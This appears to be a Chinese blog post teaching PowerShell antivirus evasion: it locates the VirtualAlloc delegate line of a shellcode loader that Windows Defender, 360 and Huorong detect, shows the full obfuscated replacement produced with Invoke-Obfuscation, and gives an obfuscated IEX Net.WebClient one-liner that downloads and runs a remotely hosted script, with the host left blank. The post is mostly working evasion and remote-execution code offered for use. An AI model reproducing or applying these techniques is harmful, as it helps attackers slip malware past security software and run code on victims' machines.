PowerShell免杀

请注意,本文编写于 1073 天前,最后修改于 1072 天前,其中某些信息可能已经过时。

前言

明天早八算什么,话不多说,开整。
相比起PE文件,直接用分割语句的方式,定位查杀点,不难发现,不论是WD,360,火绒,查杀点都定位在

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))

这一语上,那么我们只要把这个混淆了不就搞定了

ps1 免杀

直接把这句提出来,单独保存为一个ps1,直接使用开源项目Invoke-Obfuscation
之后,直接使用

Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
SET SCRIPTBLOCK script_block_or_command
set scriptpath 单独提取出来的ps1地址
encoding\1

无标题.png
无标题.png

之后直接把上面的语句,替换成

$var_va = .(([stRInG]$vERbosePREfEReNCE)[1,3]+'x'-JoIN'')(( ('5b', 53, 79,73, 74 , 65 ,'6d' , '2e',52 ,75 , '6e' , 74, 69, '6d' , 65,'2e' , 49 , '6e', 74 ,65 , 72, '6f',70 , 53 ,65, 72, 76, 69 , 63 ,65 ,73, '2e','4d' , 61 ,72 , 73 , 68,61 ,'6c' ,'5d', '3a','3a' ,47 ,65, 74 ,44 ,65 , '6c' ,65,67,61 ,74, 65, 46 , '6f' ,72 , 46, 75,'6e',63, 74, 69, '6f' , '6e' , 50 , '6f' ,69,'6e' , 74 ,65, 72, 28 , 28 ,66, 75,'6e',63,'5f',67, 65 ,74,'5f',70,72, '6f' ,63, '5f' ,61, 64,64, 72 ,65, 73,73,20 , '6b', 65, 72 ,'6e' , 65 , '6c',33 , 32,'2e' , 64 , '6c' , '6c' ,20 , 56,69 ,72 ,74 , 75 , 61,'6c',41,'6c' ,'6c' , '6f',63,29 ,'2c' ,20, 28 , 66 , 75,'6e', 63,'5f', 67 , 65,74 , '5f' ,64 ,65, '6c' , 65, 67,61,74,65,'5f', 74 ,79 ,70 ,65 ,20 , 40 ,28,'5b', 49,'6e',74, 50, 74, 72 , '5d' ,'2c' , 20, '5b',55,49 , '6e', 74 , 33,32, '5d','2c' , 20, '5b',55,49,'6e' ,74, 33,32, '5d','2c' , 20 , '5b', 55 , 49 ,'6e' , 74,33,32,'5d' ,29 ,20 , 28 , '5b',49 ,'6e' ,74 ,50, 74 ,72,'5d',29 ,29, 29)| fOreach-oBjEct{( [cOnVeRT]::tOInT16(( $_.TOSTrinG() ) , 16) -aS [CHar]) } ) -joIN '')

photo_2021-04-22_02-01-19.jpg
photo_2021-04-22_02-01-19.jpg

huorong.jpg
huorong.jpg

360.jpg
360.jpg

之后精简语句,直接用网络上的远程下载执行

IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).P
sObject.Methods | Where-Object {$_.Name -like '*own*d*ing'}).Name).Invoke("http:
///ps1.txt")

把上面的powershell放上云就行

powershell command

明天找机会写

添加新评论

评论列表